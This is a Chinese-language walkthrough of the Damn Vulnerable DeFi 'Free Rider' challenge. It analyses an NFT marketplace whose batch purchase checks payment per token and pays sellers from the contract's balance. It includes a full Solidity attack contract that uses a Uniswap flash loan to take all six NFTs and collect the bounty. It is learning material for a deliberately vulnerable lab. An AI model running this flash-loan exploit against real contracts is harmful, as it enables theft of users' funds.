free-rider
题目链接:https://www.damnvulnerabledefi.xyz/challenges/10.html
题目描述:
现有已经发布的 Damn Valuable NFT 交易市场,初始 mint 了 6 个 NFT,并且可以在交易市场上出售,售价为 15ETH。
有个买家告诉了你一个秘密:市场是脆弱的,所有的代币都可以被拿走。然而,他并不知道怎么做。为此愿意提供 45 ETH 的奖励给取出 NFT 并发送给他的人。
你想在这个买家那里建立一些名声,所以你已经同意了这个计划。
遗憾的是你只有 0.5 ETH。要是有一个地方你可以免费获得 ETH 就好了,暂时性的也可以。
FreeRiderBuyer.sol
买家合约
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {
using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;
// 部署时向该合约转入了 45eth
constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}
// 接收到NFT时触发的函数
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner); // 确保交易的发起人是partner
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this)); // 确保已持有
received++;
// 接收到6个NFT后将45eth转给partner
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
return IERC721Receiver.onERC721Received.selector;
}
}
由于该合约继承自 IERC721Receiver
,且 NFT
合约继承自 ERC721
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {}
意味着当 NFT
合约调用 safeTransferFrom
且 to
地址是该合约时,会触发 onERC721Received
函数。
safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
safeTransferFrom
内部会判断 to
是否是合约地址,是的话则会调用 onERC721Received
FreeRiderNFTMarketplace.sol
交易合约,继承自 ReentrancyGuard
, 用于防止重入攻击。
构造函数中创建了一个 DamnValuableNFT
合约,并 mint
了 amountToMint
数量的 NFT 给了合约部署者
constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();
for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}
该合约提供了两种功能
- 批量出售
offerMany
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}
function _offerOne(uint256 tokenId, uint256 price) private {
// 确保出价 > 0
require(price > 0, "Price must be greater than zero");
// 出售者必须是持有该NFT
require(msg.sender == token.ownerOf(tokenId), "Account offering must be the owner");
// 确保已授权
require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);
// 记录价格
offers[tokenId] = price;
amountOfOffers++;
emit NFTOffered(msg.sender, tokenId, price);
}
NFT
持有人调用该方法,除了一些基本的校验之外,还会授权该合约可以对持有人持有的 NFT 进行操作。
最后将报价保存到 offers[tokenId]
,当有人购买时,由于持有人已经授权了该合约可以操作其所持有的 NFT,故在收到付款后,该合约可以直接将持有人的 NFT
转给购买人。
- 批量购买
buyMany
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
// 获取价格
uint256 priceToPay = offers[tokenId];
// 确保转入的价格不少于售价
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");
amountOfOffers--;
// 将 NFT 转给购买人
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// 将收到的 ETH 转给卖方
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
当有卖家在交易合约中出售其持有的 NFT 后,买家就可以执行购买流程,首先获取价格,并确保收到的 ETH
不低于售价,之后由该合约将卖家持有的 NFT 转给买家并将收到的 ETH
转给卖家。
批量购买功能其实有个明显的问题,在检查收到的 ETH
要不少于售价时 require(msg.value >= priceToPay, "Amount paid is not enough");
检查的是单个 NFT
的价格,而不是批量购买的总额。而且 ETH
转给卖方的时候用的是合约内的余额。
例如交易合约持有100ETH
, 卖家出售其持有的 tokenId
为 1, 2, 3 的 NFT
,价格分别为 1ETH
, 5ETH
, 3ETH
。此时买家购买调用 buyMany
应付的价格为 9ETH
,但实际上仅需要支付5ETH
(购买价最高的 tokenId
的价格)就能满足 require
的检查。此时交易合约共持有105ETH
。转账时,交易合约共向卖方们转了9ETH
。即买方购买时少付的 ETH
由交易合约的余额补上了。
在本题中,NFT
的单价为15ETH
,因此只需要付15ETH
即可购买 6 个NFT
,而不是90ETH
。但你只有0.5ETH
。因此要想办法获得 ETH
,通过 uniswap
的闪电贷就是不错的方法:
- 通过闪电贷借出
15WETH
,并将WETH
换成ETH
- 使用
ETH
购买NFT
,并将购买的 NFT 发送给FreeRiderBuyer
,收到45ETH
的奖励。 - 最后将
ETH
换回WETH
,算上闪电贷的费率还清闪电贷的借款
由于这些操作需要再一笔交易中完成,因此需要写一个攻击合约,不过在此之前需要先看下测试文件 free-rider.challenge.js
做了哪些初始化:
- 给
attacker
发送了0.5ETH
- 部署合约
WETH
、DVT
、uniswapFactory
、uniswapRouter
- 通过调用
uniswapRouter
合约的方法addLiquidityETH
添加流动性,该方法内部会创建配对合约uniswapPair
,配对的币种是WETH-DVT
,添加的流动性为9000WETH
和15000DVT
- 部署合约
FreeRiderNFTMarketplace
,并转入90ETH
。 - 部署
NFT
合约 - 在交易合约中创建卖单出售
tokenId
为 0~5 的NFT
,每个价格都为15ETH
- 部署合约
FreeRiderBuyer
并转入45ETH
攻击合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "../free-rider/FreeRiderBuyer.sol";
import "../DamnValuableNFT.sol";
contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
FreeRiderBuyer buyer;
FreeRiderNFTMarketplace marketplace;
IUniswapV2Pair pair;
IWETH weth;
DamnValuableNFT nft;
address attacker;
uint256[] tokenIds = [0, 1, 2, 3, 4, 5];
constructor(address _buyer, address payable _marketplace, address _pair, address _weth, address _nft) payable {
buyer = FreeRiderBuyer(_buyer);
marketplace = FreeRiderNFTMarketplace(_marketplace);
pair = IUniswapV2Pair(_pair);
weth = IWETH(_weth);
nft = DamnValuableNFT(_nft);
attacker = msg.sender;
}
function attack(uint amount) external {
// 配对合约: WETH-DVT
// 通过 uniswap 闪电贷借出 amount 数量的 WETH
// 注意: 最后一个参数不能为空,不然就不会执行闪电贷的回调
pair.swap(amount, 0, address(this), "x");
}
// uniswap 闪电贷回调
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
// 将借出的 WETH 转成 ETH
weth.withdraw(amount0);
// 将借出的15ETH转给交易合约用于购买tokenId为0~5的NFT
marketplace.buyMany{value: amount0}(tokenIds);
// 将购买的NFT转给buyer, 并得到 45 ETH
for (uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
nft.safeTransferFrom(address(this), address(buyer), tokenId);
}
// 计算闪电贷要还的费用, 并将要还 的部分转成 weth
uint fee = amount0 * 3 / 997 + 1;
weth.deposit{value: fee + amount0}();
// 返还闪电贷
weth.transfer(address(pair), fee + amount0);
// 将剩余的 eth 转给 attacker
payable(address(attacker)).transfer(address(this).balance);
}
receive() external payable {}
function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
在测试文件 free-rider.challenge.js
添加执行入口
it('Exploit', async function () {
const freeRiderAttack = await (
await ethers.getContractFactory('FreeRiderAttack', attacker)
).deploy(
this.buyerContract.address,
this.marketplace.address,
this.uniswapPair.address,
this.weth.address,
this.nft.address
)
await freeRiderAttack.attack(NFT_PRICE)
})
最后执行 yarn free-rider
测试通过!